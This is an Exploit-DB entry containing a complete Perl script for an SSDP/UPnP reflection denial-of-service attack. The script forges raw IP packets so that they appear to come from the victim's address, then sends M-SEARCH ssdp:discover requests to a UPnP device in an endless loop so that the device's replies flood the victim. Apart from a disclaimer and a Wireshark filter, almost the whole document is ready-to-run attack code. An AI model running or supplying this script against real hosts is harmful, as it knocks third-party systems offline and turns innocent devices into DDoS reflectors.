Exploit-DB #37561
Description: UPNPD M-SEARCH - ssdp:discover Reflection Denial of Service
Type: dos
Platform: multiple
Date: 2015-07-10
Author: Todor Donev

Exploit:
#!/usr/bin/perl
#
#  upnpd M-SEARCH ssdp:discover reflection 
#
#  Copyright 2015 (c) Todor Donev 
#  todor.donev@gmail.com
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  The SSDP protocol can discover Plug & Play devices, 
#  with uPnP (Universal Plug and Play). SSDP is HTTP 
#  like protocol and work with NOTIFY and M-SEARCH 
#  methods.
#
#
#  Disclaimer:
#  This or previous program is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#
#  Use at your own risk and educational 
#  purpose ONLY!
#
#  Wireshark: 
#  udp.port eq 1900 || frame contains "HTTP/1.1 200 OK"
#
#  See also:
#  SSDP Reflection DDoS Attacks 
#  http://tinyurl.com/mqwj6xt
#

use Socket;

if ( $< != 0 ) {
   print "Sorry, must be run as root!\n";
   print "This script use RAW Socket.\n"; 
   exit;
}

my $ssdp 	= (gethostbyname($ARGV[0]))[4];		# IP Address Source	(32 bits)
my $victim 	= (gethostbyname($ARGV[1]))[4];		# IP Address Source	(32 bits)

print "[ upnpd M-SEARCH ssdp:discover reflection ]\n";
if (!defined $ssdp || !defined $victim) {
    print "[ Usage:  $0 <upnpd> <victim>\n";
    print "[  <todor.donev\@gmail.com>   Todor Donev  ]\n";
    exit;
}
print "[ Sending SSDP packets: $ARGV[0] -> $ARGV[1]\n";
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();

    # Main program
sub main {
    my $packet;
    
    $packet = iphdr();
    $packet .= udphdr();
    $packet .= payload();
    # b000000m...
    send_packet($packet);
}

    # IP header (Layer 3)
sub iphdr {
    my $ip_ver         	= 4;				# IP Version 4			(4 bits)
    my $iphdr_len      	= 5;				# IP Header Length		(4 bits)
    my $ip_tos         	= 0;				# Differentiated Services	(8 bits)
    my $ip_total_len   	= $iphdr_len + 20;		# IP Header Length + Data	(16 bits)
    my $ip_frag_id     	= 0;				# Identification Field		(16 bits)
    my $ip_frag_flag   	= 000;				# IP Frag Flags (R DF MF)	(3 bits)
    my $ip_frag_offset 	=[PII_REDACTED]000;		# IP Fragment Offset		(13 bits)
    my $ip_ttl         	= 255;				# IP TTL			(8 bits)
    my $ip_proto       	= 17;				# IP Protocol			(8 bits)
    my $ip_checksum    	= 0;				# IP Checksum			(16 bits)
    # IP Packet construction
	my $iphdr	= pack(
			'H2 H2 n n B16 h2 c n a4 a4',
			$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
			$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
			$ip_ttl, $ip_proto, $ip_checksum,
			$victim, $ssdp
			);
			return $iphdr;
}

    # UDP header (Layer 4)
sub udphdr {
    my $udp_src_port	= 31337;			# UDP Sort Port		(16 bits) (0-65535)
    my $udp_dst_port	= 1900;				# UDP Dest Port		(16 btis) (0-65535)
    my $udp_len		= 8 + length(payload());	# UDP Length		(16 bits) (0-65535)
    my $udp_checksum 	= 0;				# UDP Checksum		(16 bits) (XOR of header)

    # UDP Packet
    my $udphdr		= pack(
			'n n n n',
			$udp_src_port, $udp_dst_port,
			$udp_len, $udp_checksum
			);
	return $udphdr;
}

    # SSDP HTTP like (Layer 7)
sub payload {
    my $data;
    $data .= "M-SEARCH * HTTP\/1.1\r\n";
  #  $data .= "HOST:239.255.255.250:1900\r\n";		# Multicast address
    $data .= "ST:upnp:rootdevice\r\n";			# Search target, search for root devices only  
    $data .= "MAN:\"ssdp:discover\"\r\n";
  #  $data .= "MX:3\r\n\r\n";				# Seconds to delay response
    my $payload = pack('a' . length($data), $data);
return $payload;
}

sub send_packet {
    while(1){
    select(undef, undef, undef, 0.10);			# Sleeping 100 milliseconds
    send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ssdp)) or die $!;
   }
}